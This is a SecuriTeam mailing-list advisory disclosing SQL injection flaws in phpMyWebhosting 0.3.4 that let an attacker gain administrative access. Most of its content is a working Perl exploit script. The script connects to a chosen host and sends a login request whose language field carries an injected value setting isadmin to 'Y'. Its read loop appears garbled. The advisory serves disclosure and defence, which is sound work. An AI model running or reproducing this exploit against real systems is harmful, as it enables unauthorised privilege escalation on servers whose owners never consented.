[UNIX] phpMyWebhosting SQL Injection Vulnerabilities

The following security advisory is sent to the securiteam mailing list, and can 
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  phpMyWebhosting SQL Injection Vulnerabilities
------------------------------------------------------------------------


SUMMARY

 <http://pmwhwiki.cs-ol.de/tiki-index.php> phpMyWebhosting, "allows you to 
lease out parts of your web server and mail server without needing to give 
anyone console access".

Multiple SQL injection has been found in phpMyWebhosting that allow 
attackers to gain elevated privileges as well as enter to the product's 
management system without knowing the administrative password.

DETAILS

Vulnerable Systems:
 * phpMyWebhosting version 0.3.4

phpMyWebhosting takes no care to verifying incoming user input for 
arbitrary SQL statements. This means that if you have disabled 
magic_quotes_gpc in your PHP settings, a remote attacker can cause SQL 
injection vulnerability in phpMyWebhosting.

Exploit:
#!/usr/bin/perl
# Exploit code by Noam Rathaus of Beyond Security Ltd.
# The following exploit code will use a valid username and password 
combination, to cause an SQL injection.
# Using the SQL injection, the Perl script elevates the privileges of the 
user provided to administrative.

use IO::Socket;
use strict;

my $Host = shift;
my $Path = shift;
my $Username = shift;
my $Password = shift;

if ($Host eq "" || $Path eq "" || $Username eq "" || $Password eq "")
{
print "You must run the script with the following syntax:\n";
print $0." hostname path username password\n";
exit(0);
}

my $remote = IO::Socket::INET->new (  Proto => "tcp", PeerAddr => $Host, 
PeerPort => "80" );

unless ($remote) { die "cannot connect to http daemon on $Host" }

print "connected\n";

$remote->autoflush(1);

my $http = "POST /$Path/index.php HTTP/1.1
Host: $Host
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040506 
Firefox/0.8
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: ";

my $content = 
"PHP_AUTH_USER=$Username&password=$Password&language=english',isadmin='Y&login=Login";

$http .= length($content)."

$content";

print "HTTP: [$http]\n";
print $remote $http;
sleep(1);
print "Sent\n";

while ()
{
print $_;
}
print "\n";

close $remote;


ADDITIONAL INFORMATION

The information has been provided by  <mailto:matias@neiff.com.ar> Matias 
Neiff.



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: 
list-unsubscribe@securiteam.com 
In order to subscribe to the mailing list, simply forward this email to: 
list-subscribe@securiteam.com 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any 
kind. 
In no event shall we be liable for any damages whatsoever including direct, 
indirect, incidental, consequential, loss of business profits or special 
damages.